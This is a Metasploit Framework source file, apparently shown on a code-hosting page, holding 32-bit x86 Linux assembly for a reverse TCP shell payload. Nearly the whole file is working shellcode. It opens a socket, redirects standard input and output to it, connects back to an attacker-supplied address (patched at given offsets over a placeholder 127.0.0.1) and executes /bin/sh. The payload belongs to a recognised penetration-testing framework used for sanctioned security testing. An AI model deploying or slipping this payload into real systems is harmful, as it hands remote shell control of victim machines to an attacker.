James Lee
f38ac954b8
- Adds a call to mprotect(2) to the reverse and bind stagers - Adds accurate source for some other linux shellcode, including some comments to make it more maintainable - Adds tools/module_payload.rb for listing all payloads for each exploit in a greppable format. Makes it easy to find out if a payload change causes a payload to no longer be compatible with a given exploit. - Missing from this commit is source for reverse_ipv6_tcp
83 lines
2.2 KiB
NASM
83 lines
2.2 KiB
NASM
;;
|
|
;
|
|
; Name: single_reverse_tcp_shell
|
|
; Version: $Revision: 1512 $
|
|
; License:
|
|
;
|
|
; This file is part of the Metasploit Exploit Framework
|
|
; and is subject to the same licenses and copyrights as
|
|
; the rest of this package.
|
|
;
|
|
; Description:
|
|
;
|
|
; Single reverse TCP shell.
|
|
;
|
|
; Meta-Information:
|
|
;
|
|
; meta-shortname=Linux Reverse TCP Shell
|
|
; meta-description=Connect back to the attacker and spawn a shell
|
|
; meta-authors=skape <mmiller [at] hick.org>
|
|
; meta-os=linux
|
|
; meta-arch=ia32
|
|
; meta-category=single
|
|
; meta-connection-type=reverse
|
|
; meta-name=reverse_tcp_shell
|
|
; meta-basemod=Msf::PayloadComponent::ReverseConnection
|
|
; meta-offset-lhost=0x1a
|
|
; meta-offset-lport=0x20
|
|
;;
|
|
BITS 32
|
|
GLOBAL _start
|
|
|
|
_start:
|
|
xor ebx, ebx
|
|
mul ebx
|
|
|
|
socket:
|
|
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
|
|
inc ebx ; 1 = SYS_SOCKET
|
|
push ebx ; type = 1 = SOCK_STREAM
|
|
push byte 0x2 ; domain = 2 = AF_INET
|
|
mov ecx, esp ; socketcall args
|
|
mov al, 0x66
|
|
int 0x80
|
|
xchg eax, ebx
|
|
|
|
; int dup2(int oldfd, int newfd);
|
|
dup:
|
|
pop ecx ; oldfd = 2, aka stderr
|
|
; newfd is in ebx, set above, and doesn't change until we're ready to call
|
|
; connect(2)
|
|
dup_loop:
|
|
mov al, 0x3f ; __NR_dup2
|
|
int 0x80
|
|
dec ecx
|
|
jns dup_loop
|
|
|
|
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
|
connect:
|
|
push dword 0x0100007f ; addr->sin_addr = 127.0.0.1
|
|
push 0xbfbf0002 ; addr->sin_port = 49087
|
|
; addr->sin_family = 2 = AF_INET
|
|
mov ecx, esp ; ecx = addr
|
|
mov al, 0x66 ; __NR_socketcall
|
|
push eax ; addrlen
|
|
push ecx ; addr
|
|
push ebx ; sockfd
|
|
mov bl, 0x3 ; 3 = SYS_CONNECT
|
|
mov ecx, esp ; socketcall args
|
|
int 0x80
|
|
|
|
; int execve(const char *filename, char *const argv[], char *const envp[]);
|
|
execve:
|
|
push edx ; NULL terminator for "/bin//sh"
|
|
push dword 0x68732f2f
|
|
push dword 0x6e69622f
|
|
mov ebx, esp ; filename
|
|
push edx ; NULL terminator for argv
|
|
push ebx ; pointer to "/bin//sh"
|
|
mov ecx, esp ; argv = pointer to pointer to "/bin//sh"
|
|
mov al, 0x0b ; __NR_execve
|
|
int 0x80
|
|
|